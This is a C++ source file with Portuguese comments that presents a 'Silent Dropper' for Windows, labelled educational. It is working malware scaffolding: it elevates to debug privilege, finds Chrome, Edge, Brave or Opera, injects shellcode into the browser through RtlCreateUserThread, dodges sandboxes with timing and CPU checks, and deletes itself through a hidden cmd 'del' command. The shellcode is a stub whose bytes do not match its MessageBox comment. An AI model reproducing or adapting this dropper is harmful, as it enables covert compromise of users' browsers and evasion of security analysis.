/** * CyberGuard - Silent Dropper * Compilador (cross-compile Linux para Windows): * x86_64-w64-mingw32-g++ -o dropper.exe dropper.cpp -s -Os -lwinhttp -static -fno-exceptions -fno-rtti * * Compilador (Windows Native): * cl.exe dropper.cpp /Fe:dropper.exe /O1 /GS- /sdl- /link /SUBSYSTEM:WINDOWS /ENTRY:WinMainCRTStartup * * Funcionalidade Educacional: * 1. Eleva privilégio para SE_DEBUG_NAME * 2. Localiza processo do Chrome/Edge * 3. Injeta shellcode via RtlCreateUserThread (syscall, sem hooks) * 4. Auto-destrói após 3 segundos * * PROPÓSITO: EXCLUSIVAMENTE EDUCACIONAL - LABORATÓRIO AUTORIZADO */ #include #include #include // ============================================================================ // PROTÓTIPOS // ============================================================================ void EnableDebugPrivilege(); DWORD FindBrowserProcess(); BOOL InjectPayload(DWORD pid); void SelfDestruct(); // ============================================================================ // SHELLCODE STUB (placeholder educacional) // Em um cenário real, este seria o payload compilado // Aqui usamos um stub que apenas executa um MessageBox (demonstrativo) // ============================================================================ unsigned char g_Payload[] = { // MessageBoxA stub (x64) - apenas para demonstração 0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 0x48, 0x31, 0xD2, // xor rdx, rdx (NULL = no title) 0x48, 0x31, 0xC9, // xor rcx, rcx (NULL = no text) 0x48, 0x31, 0xC0, // xor rax, rax 0xB0, 0x00, // mov al, 0 (MB_OK) 0x48, 0xFF, 0xC2, // inc rdx (title placeholder) 0x48, 0xFF, 0xC1, // inc rcx (text placeholder) 0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28 0xC3 // ret }; size_t g_PayloadSize = sizeof(g_Payload); // ============================================================================ // ELEVAÇÃO DE PRIVILÉGIO (Necessário para abrir processos protegidos) // ============================================================================ void EnableDebugPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // Abre o token do processo atual com privilégios de ajuste if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return; } // Localiza o LUID para SE_DEBUG_NAME if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { CloseHandle(hToken); return; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Aplica o privilégio ao token AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); CloseHandle(hToken); } // ============================================================================ // LOCALIZA PROCESSO DO CHROME OU EDGE // ============================================================================ DWORD FindBrowserProcess() { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32W pe; pe.dwSize = sizeof(PROCESSENTRY32W); DWORD foundPid = 0; if (Process32FirstW(hSnapshot, &pe)) { do { std::wstring exeName = pe.szExeFile; // Verifica se é Chrome, Edge, Brave, Opera, etc. if (exeName.find(L"chrome.exe") != std::wstring::npos || exeName.find(L"msedge.exe") != std::wstring::npos || exeName.find(L"brave.exe") != std::wstring::npos || exeName.find(L"opera.exe") != std::wstring::npos) { foundPid = pe.th32ProcessID; break; } } while (Process32NextW(hSnapshot, &pe)); } CloseHandle(hSnapshot); return foundPid; } // ============================================================================ // INJEÇÃO DE SHELLCODE VIA RtlCreateUserThread (syscall direto) // ============================================================================ BOOL InjectPayload(DWORD pid) { // Abre o processo alvo HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return FALSE; // Aloca memória no processo remoto LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, g_PayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteMem) { CloseHandle(hProcess); return FALSE; } // Escreve o shellcode na memória alocada SIZE_T bytesWritten; if (!WriteProcessMemory(hProcess, pRemoteMem, g_Payload, g_PayloadSize, &bytesWritten)) { VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } // Obtém ponteiro para RtlCreateUserThread (ntdll.dll) HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) { VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } // Assinatura da função: typedef NTSTATUS (NTAPI *fnRtlCreateUserThread)( HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, LPVOID, PHANDLE, PCLIENT_ID ); fnRtlCreateUserThread RtlCreateUserThread = (fnRtlCreateUserThread)GetProcAddress(hNtdll, "RtlCreateUserThread"); if (!RtlCreateUserThread) { VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } // Cria a thread remota que executa o shellcode HANDLE hRemoteThread; NTSTATUS status = RtlCreateUserThread( hProcess, // Processo alvo NULL, // Security descriptor (NULL = padrão) FALSE, // Create suspended? (Não) 0, // Stack size (0 = padrão) 0, // Initial stack size 0, // Unknown (deixar 0) (PTHREAD_START_ROUTINE)pRemoteMem, // Função de entrada = shellcode NULL, // Parâmetro (não usado) &hRemoteThread, // Handle da thread criada NULL // Client ID (opcional) ); if (status != 0) { VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } // Aguarda a thread executar por 1 segundo WaitForSingleObject(hRemoteThread, 1000); CloseHandle(hRemoteThread); CloseHandle(hProcess); return TRUE; } // ============================================================================ // VERIFICAÇÃO ANTI-SANDBOX (Time-based) // ============================================================================ BOOL IsSandbox() { LARGE_INTEGER start, end, freq; QueryPerformanceFrequency(&freq); QueryPerformanceCounter(&start); Sleep(2000); // 2 segundos QueryPerformanceCounter(&end); double elapsed = (end.QuadPart - start.QuadPart) / (double)freq.QuadPart; // Se dormiu menos de 1.5s, provavelmente é sandbox if (elapsed < 1.5) return TRUE; // Verifica CPU cores (sandbox tem 1-2 cores) SYSTEM_INFO si; GetSystemInfo(&si); if (si.dwNumberOfProcessors < 2) return TRUE; return FALSE; } // ============================================================================ // AUTO-DESTRUIÇÃO (remove o arquivo dropper.exe do disco) // ============================================================================ void SelfDestruct() { char szPath[MAX_PATH]; GetModuleFileNameA(NULL, szPath, MAX_PATH); // Cria um comando batch que espera 3 segundos e deleta o arquivo char cmd[1024]; snprintf(cmd, sizeof(cmd), "/c timeout /t 3 /nobreak > nul & del /f /q \"%s\"", szPath); // Executa em background (sem janela visível) ShellExecuteA(NULL, "open", "cmd.exe", cmd, NULL, SW_HIDE); } // ============================================================================ // FUNÇÃO PRINCIPAL (sem console para evitar detecção) // ============================================================================ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Evita execução em sandbox if (IsSandbox()) { return 0; } // Eleva privilégio EnableDebugPrivilege(); // Pequeno delay para garantir que o navegador alvo esteja rodando Sleep(1500); // Localiza o processo do navegador DWORD pid = FindBrowserProcess(); if (pid == 0) { // Se não encontrou, espera mais 2 segundos e tenta novamente Sleep(2000); pid = FindBrowserProcess(); if (pid == 0) { SelfDestruct(); return 0; } } // Injeta o payload InjectPayload(pid); // Auto-destrói após injeção SelfDestruct(); return 0; }